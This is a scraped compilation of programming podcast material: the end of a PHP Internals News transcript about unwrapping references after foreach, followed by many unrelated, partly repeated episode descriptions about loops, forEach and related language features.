lookup. Derick Rethans 8:53 I guess it's going to depend on how big the array is, right? I mean, if it's a few elements, it probably doesn't matter. Nikita Popov 8:58 But if you have like a 100,000 element array, then you paying for 100,000 reference wrappers that you don't need afterwards any more. Derick Rethans 9:07 In that case, it's rather better to just modify it through the key that you obtained by doing foreach key as value. Nikita Popov 9:14 Right. But it's also worth noting that foreach reference actually has different semantics then foreach value, because foreach by value works on the copy of the array. Like it's not an actual copy just like semantically. If you modify the array inside the foreach by value loop, then we will copy the array. Doing the modification with a separate key lookup and foreach by value loop will actually copy the array at that point, while foreach by reference takes account modifications of the array. So even if you like add or remove elements in the array in the foreach by reference loop, it will try on the like best effort basis to still iterate on in a reasonable way on the modified array. It's like not a straightforward replacement. Derick Rethans 10:00 It all depends on what people intended to do with it. Right? Do you think there are any further situations that are a bit strange? That could benefit from having some subtle changes to the language semantics? Nikita Popov 10:13 Nothing can who comes to mind immediately. Derick Rethans 10:16 Yeah, I can't think of any either. But I thought maybe maybe have something in the pipeline. Would you have anything else to add to this RFC? Nikita Popov 10:23 Well, one more thing that's discussed in the RFC is the case of complex variables. A little known fact, in the foreach loop, you don't have to assign to a simple variable, you can also assign to something like an object property, or an object property on the result of a function call that that means that in the loop, this function is getting called on every iteration, and then you assign it to a property on the result. So you can do that kind of weird stuff, we allow it. Derick Rethans 10:52 And does it the work without any weird side effects? Nikita Popov 10:56 Depends on what you consider weird, but basically does what you expect as if you had written an explicit assignment to the complex variable. Derick Rethans 11:04 I reckon that's how it's instructed out in the oparray then as well. Nikita Popov 11:07 Yeah, exactly. As far as this RFC is concerned, the problem there is that to unwrap the reference of the loop, we actually have to evaluate the variable again. And if it's a complex variable that might have side effects, for example, the function call. And that's why the RFC says that if the variable is complex, we are not going to do that, like that's probably going to be more unexpected than leaving a reference wrapper around. So we have this extra weird edge case. In the internals discussion, some people already suggested that maybe we should just deprecate support for these kind of complex assignments. One could also mention that an alternative that has been suggested is to actually make the loop variable, scoped to the foreach loop. So we could unset it entirely after the loop, rather than just breaking the reference, which is, of course, a larger change, larger backwards compatibility break. It also doesn't really align with PHP semantics of only having function scope and not block scope. Derick Rethans 12:06 I probably agree without, it's too much of a change to do that. Because then you sort of expect that all the language constructs should have a scope. I mean, it needs to be either one or the other. Nikita Popov 12:15 Yeah, I mean, other languages like JavaScript have solved that by introducing a separate way to declare scoped variables. So that will be "let", just changing the behaviour in one place is probably not a good idea. Derick Rethans 12:30 I probably agree with you though. It was a bit of a shorter RFC this time. That's okay with me. Nikita Popov 12:35 Yes, I used that as an excuse to discuss some foreach behaviour details. Derick Rethans 12:40 Fair enough. Thank you for taking the time this morning to come and talk to me about the references after foreach RFC. Nikita Popov 12:47 Thanks for having me, Derick, once again. Derick Rethans 12:53 Thank you for listening to this installment of PHP internals news, a podcast dedicated to demystifying the development of the PHP language. I maintain a Patreon account for supporters of this podcast, as well as the Xdebug debugging tool. You can sign up for Patreon at https://drck.me/patreon. If you have comments or suggestions, feel free to email them to derick@phpinternals.news. Thank you for listening. I'll see you next time. Show Notes RFC: Unwrap Reference After Foreach Credits Music: Chipper Doodle v2 — Kevin MacLeod (incompetech.com) — Creative Commons: By Attribution 3.0
http://9chat-e.mynt.work/?c=radio/contents&id=248 プログラミング学習に役立つ情報をお伝えするラジオ番組
http://9chat-e.mynt.work/?c=radio/contents&id=248 プログラミング学習に役立つ情報をお伝えするラジオ番組
http://9chat-e.mynt.work/?c=radio/contents&id=248 プログラミング学習に役立つ情報をお伝えするラジオ番組
Hey friends. So today I wanted to talk about looping over a raise and stuff like that. And pretty much I'm mostly want to talk about for loops. Early on in my software developer career that's pretty much exclusively how I looked over things and I learned about filter and map and reduced and all of those things and for each and all that and I went full in on that stuff. More recently, I've been getting into using four of loops for stuff. And I find that to work out really nicely.To the point where I don't think you'll ever ever catch me use a for each on an array anymore I and like I can't think of a scenario where that would be more simple than just doing a four of loop. With potentially the exception of you've got a function over here already to find and you're just gonna pass it as the argument to for each. Maybe that I guess could make sense but most of the time I'm just gonna be using a forever. So anyway, I Yeah, I don't really have much more to say about that. It's just kind of.Something interesting to think about and I do have a blog post actually about using map and filter versus reduce and a regular old sea style loop where you have the index and everything like that. And so you could go take a look at that if you're interested in diving little deeper, it even has an egg-head video on there. But yeah, just look at my blog look for reduce or filter. You'll find it on there. But yeah, I find myself like early on. I used those sea style loops and,Then and full on a raise and now I'm kind of yeah between array methods, sometimes I'll use reduced but not often I'm mostly on filter and map. If I really need performance gains of using reduced then I'll go with that just fine but anyway hope that is interesting and useful and insightful. If you haven't been using four ofs and you've been finding you're using for each then yeah, go ahead and give a four of trying they're pretty great. Thanks bye.
00:31 Foreach vs Traverse 02:36 ZIO documentation 04:41 What Functional Programming Is, What it Isn't, and Why it Matters by Noel Welsh 06:37 Functional Code is Honest Code by Michael Feathers 07:20 Wrapping Java code with Scala 09:58 Lift typeclass 11:18 47 Degrees Academy 13:23 the Moving from Scala 2 to Scala 3 course by Lunatech 14:16 Spark 3 release 15:24 Dotty + Spark = 16:10 Starting with Scala 3 macros: a short tutorial by Adam Warski 18:11 PicoCLI 19:24 Decline 20:00 Scopt 22:34 JetBrains survey 26:12 Top salaries
Un nuevo episodio del breve ciclo sobre programación funcional. En esta ocasión revisamos algunas de las características y métodos que Javascript ofrece para implementar Inmutabilidad.LinksObject.freeze https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/freezeObject.assign https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/assignObject spread https://gist.github.com/matiasfh/4a0a22b4a905daf46e12a5bc54365e77Array.reduce https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/reduceArray.map https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/mapArray.forEach https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/forEachArray.find https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/findArray.findIndexhttps://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/findIndexArray.every https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/everyArray.some https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/someArray.slice https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/sliceArray spread https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Operadores/Sintaxis_SpreadMusic CreditsOpening and Outro Musicby DanoSongshttps://danosongs.com/ by Bensoundhttps://bensound.comBackground MusicWhiskey on the Mississippi by Kevin MacLeodLink: https://incompetech.filmmusic.io/song/4624-whiskey-on-the-mississippiFeelin Good by Kevin MacLeodLink: https://incompetech.filmmusic.io/song/3744-feelin-goodLicense: http://creativecommons.org/licenses/by/4.0/Support the show (https://www.buymeacoffee.com/matiasfha)
John builds a hot reloading tool for writing HTML in Swift, Rambo accidentally discovers details on how SwiftUI’s previews work, and Jony Ive goes indie. Also, tips on professional communication, different approaches when it comes to adding analytics to an app, and much more. Sponsored by Hyper: Get HyperCube to automatically backup photos & more to microSD or USB storage while you charge your iPhone. Special $29 preorder price (40% off). Hosts: Gui on Twitter: @_inside John on Twitter: @johnsundell Links Using Grand Central Dispatch to observe file changes DistributedNotificationCenter SwiftUI’s ForEach does recycle views The Talk Show episode about Jony Ive leaving Apple
How many times have you written a state reducer? 100 times? 100 times a month? Truth is, it's tricky for human brains to write performant state mutations in immutable terms. Maybe you're whip smart and you've got the theory on lock but the resulting "spread hell" is hard to read and edit long term. Michel Westrate wants you to stop writing state updates with immutable APIs like spread, concat, and slice and take a second look at mutable APIs like property assignment, forEach, and push. He's made it really easy And the React Team finds this idea very interesting. We talk with Michel about this wild of idea of state producers (not reducers) in Immer, why they're in the spirit of React, his MobX fame, and why — even in 2019 — it's not a good idea to roll your own state management library. Listen cautiously though. After this episode, you may never write a state reducer again...
Der Einstieg in Angular ist leicht – jedoch gibt es viele verschiedene Varianten, die an das gleiche Ziel führen. Das ist auch bei den Schleifen nicht anderes. Wir schauen uns in dieser Podcastepisode verschiedene Varianten von Schleifen an.
Taught by successful educational entrepreneur and UC San Diego Computer Science and Engineering Alumna Sarah Guthals, an innovative new course for computer science students builds the skills necessary to communicate their field to others through the experience of teaching K-12 students the fundamentals of coding in extracurricular settings in schools and libraries. Series: "UCTV Prime" [Science] [Show ID: 33135]
Taught by successful educational entrepreneur and UC San Diego Computer Science and Engineering Alumna Sarah Guthals, an innovative new course for computer science students builds the skills necessary to communicate their field to others through the experience of teaching K-12 students the fundamentals of coding in extracurricular settings in schools and libraries. Series: "UCTV Prime" [Science] [Show ID: 33135]
Taught by successful educational entrepreneur and UC San Diego Computer Science and Engineering Alumna Sarah Guthals, an innovative new course for computer science students builds the skills necessary to communicate their field to others through the experience of teaching K-12 students the fundamentals of coding in extracurricular settings in schools and libraries. Series: "UCTV Prime" [Science] [Show ID: 33135]
Taught by successful educational entrepreneur and UC San Diego Computer Science and Engineering Alumna Sarah Guthals, an innovative new course for computer science students builds the skills necessary to communicate their field to others through the experience of teaching K-12 students the fundamentals of coding in extracurricular settings in schools and libraries. Series: "UCTV Prime" [Science] [Show ID: 33135]
2020 Creative Commons Copyright All rights reserved
How to Control WordPress from JavaScript - Lately in JavaScript podcast episode 70 By Manuel Lemos Kasia is a library that can control a WordPress installation using its API from JavaScript. This library was one the main topics discussed by Manuel Lemos and Arturs Sosins in the episode 70 of the Lately in JavaScript podcast. They also talked about the differences between for and forEach, exploring Mithril for building Web interfaces, loading CSS dynamically in Web pages, rendering text fonts in JavaScrip natively, obfuscating DOM elements, using neural networks using DN2A, animated tooltips using GIFs, massive parallel programming in JavaScript using a GPU, and handling offline content with service workers. This article contains a transcript of the summary of the podcast. Listen to the podcast now, or watch the hangout video, or read the transcript text to learn more about these and other interesting JavaScript topics discussed in this podcast.
01:08 - Dropping the “JS” 02:15 - Announcements from ng-conf Blog Post 03:20 - Angular Internationalization (i18n) 05:27 - Annotations Yehuda Katz and Rob Eisenberg Reflection and Injection 09:24 - Runtime, Type Inference, and Dealing with Types at Runtime in TypeScript Metaprogramming Dependency Injection 11:05 - The Stability of the Current State of Angular Directives AngularDart 12:51 - forEach syntax change (from ! to *) 13:30 - Binding/Syntax [YouTube] Misko Hevery and Rado Kirov: ng-conf 2015 Keynote 2 “Motivation” Angular Design Docs 17:34 - Two-way Data Binding 20:30 - Observables 22:04 - Two-way Data Binding (Cont’d) 25:22 - Directives (Angular 1 vs 2) How Do You Integrate HTML Templating with the ECMAScript 6 Module System? Template Annotation Use Cases 27:39 - Why Declare Imports in JavaScript? 32:37 - Using Globals with WebComponents Tooling Property Binding 35:23 - Winning Hearts: Moving From Angular 1 => 2 Getting Started with Angular 2? Current Status: No Docs; Missing Pieces WE WANT FEEDBACK! But first: View the Angular Design Docs Watch: [YouTube] Brad Green and Igor Minar: ng-conf 2015 Keynote 1 [YouTube] Misko Hevery and Rado Kirov: ng-conf 2015 Keynote 2 ng-vegas News Sponsors! Get in touch: joeeames@gmail.com Now LIVE! ng-vegas Speaker List AngularU News Coming to California in June! Picks angular2_calendar (Joe) ng-vegas (Joe) ng-conf 2015 YouTube Channel (Ward) [YouTube] Shai Reznik: ng-wat (Chuck) The New Angular.io Site (Lukas) Coding Like a Girl (Brad) Didgeridoo at ng-conf (Igor) Angular 2 (Miško) [YouTube] Dave Smith: Angular + React = Speed + Dave’s Addendum (Igor)
01:08 - Dropping the “JS” 02:15 - Announcements from ng-conf Blog Post 03:20 - Angular Internationalization (i18n) 05:27 - Annotations Yehuda Katz and Rob Eisenberg Reflection and Injection 09:24 - Runtime, Type Inference, and Dealing with Types at Runtime in TypeScript Metaprogramming Dependency Injection 11:05 - The Stability of the Current State of Angular Directives AngularDart 12:51 - forEach syntax change (from ! to *) 13:30 - Binding/Syntax [YouTube] Misko Hevery and Rado Kirov: ng-conf 2015 Keynote 2 “Motivation” Angular Design Docs 17:34 - Two-way Data Binding 20:30 - Observables 22:04 - Two-way Data Binding (Cont’d) 25:22 - Directives (Angular 1 vs 2) How Do You Integrate HTML Templating with the ECMAScript 6 Module System? Template Annotation Use Cases 27:39 - Why Declare Imports in JavaScript? 32:37 - Using Globals with WebComponents Tooling Property Binding 35:23 - Winning Hearts: Moving From Angular 1 => 2 Getting Started with Angular 2? Current Status: No Docs; Missing Pieces WE WANT FEEDBACK! But first: View the Angular Design Docs Watch: [YouTube] Brad Green and Igor Minar: ng-conf 2015 Keynote 1 [YouTube] Misko Hevery and Rado Kirov: ng-conf 2015 Keynote 2 ng-vegas News Sponsors! Get in touch: joeeames@gmail.com Now LIVE! ng-vegas Speaker List AngularU News Coming to California in June! Picks angular2_calendar (Joe) ng-vegas (Joe) ng-conf 2015 YouTube Channel (Ward) [YouTube] Shai Reznik: ng-wat (Chuck) The New Angular.io Site (Lukas) Coding Like a Girl (Brad) Didgeridoo at ng-conf (Igor) Angular 2 (Miško) [YouTube] Dave Smith: Angular + React = Speed + Dave’s Addendum (Igor)
01:08 - Dropping the “JS” 02:15 - Announcements from ng-conf Blog Post 03:20 - Angular Internationalization (i18n) 05:27 - Annotations Yehuda Katz and Rob Eisenberg Reflection and Injection 09:24 - Runtime, Type Inference, and Dealing with Types at Runtime in TypeScript Metaprogramming Dependency Injection 11:05 - The Stability of the Current State of Angular Directives AngularDart 12:51 - forEach syntax change (from ! to *) 13:30 - Binding/Syntax [YouTube] Misko Hevery and Rado Kirov: ng-conf 2015 Keynote 2 “Motivation” Angular Design Docs 17:34 - Two-way Data Binding 20:30 - Observables 22:04 - Two-way Data Binding (Cont’d) 25:22 - Directives (Angular 1 vs 2) How Do You Integrate HTML Templating with the ECMAScript 6 Module System? Template Annotation Use Cases 27:39 - Why Declare Imports in JavaScript? 32:37 - Using Globals with WebComponents Tooling Property Binding 35:23 - Winning Hearts: Moving From Angular 1 => 2 Getting Started with Angular 2? Current Status: No Docs; Missing Pieces WE WANT FEEDBACK! But first: View the Angular Design Docs Watch: [YouTube] Brad Green and Igor Minar: ng-conf 2015 Keynote 1 [YouTube] Misko Hevery and Rado Kirov: ng-conf 2015 Keynote 2 ng-vegas News Sponsors! Get in touch: joeeames@gmail.com Now LIVE! ng-vegas Speaker List AngularU News Coming to California in June! Picks angular2_calendar (Joe) ng-vegas (Joe) ng-conf 2015 YouTube Channel (Ward) [YouTube] Shai Reznik: ng-wat (Chuck) The New Angular.io Site (Lukas) Coding Like a Girl (Brad) Didgeridoo at ng-conf (Igor) Angular 2 (Miško) [YouTube] Dave Smith: Angular + React = Speed + Dave’s Addendum (Igor)
Sean and Derek take a fresh look at the tradeoffs in writing CoffeeScript and whether we should be using an ES6 transpiler instead. destructiring assignment in JavaScript function currying in CoffeeScript The existential operator in CoffeeScript Stockholm syndrome CoffeeScript writes better JavaScript than you ES5 Compatibility Chart: When can I use map, reduce and forEach? Underscore.js removes fallbacks to native ES5 array functions Safari's LLVM-optimized FTL JIT Compiler ES6 Transpilers traceur and ESNext ES6 Features A plethora of JavaScript build tools ES5 strict mode Sprockets road map for source maps support
Wow, what DON'T Matt and Geoff talk about in this 2 hour+ episode?!
Geoff and Matt go through each and every one of the previous 25 episodes!
Robbie and Rachel teach you how to create a PHP array and use foreach() to loop through the array and output images to the browser window.
Andy introduces a Parallel Pattern called Geometric Decomposition utilising .NET 4 parallel framework. In this screen cast he will show how an array can be broken down into a series of smaller data pieces having many identical tasks running in parallel work on their own specific piece of the data. Whilst there are scenarios were each task can run in isolation its often found that these various tasks need to co-operate around the edges of their specific pieces. Andy will demonstrate two ways of solving this problem. One utilising pure Parallel.ForEach and another utilising the new Barrier type.
Andy introduces you to the new Parallel.For and Parallel.ForEach methods in .NET 4. Whilst on the surface parallelising loops with these methods look trivial as always the devil is in the detail.
Teil 12: Arrays mit Schleifen auslesen. For, Foreach, each.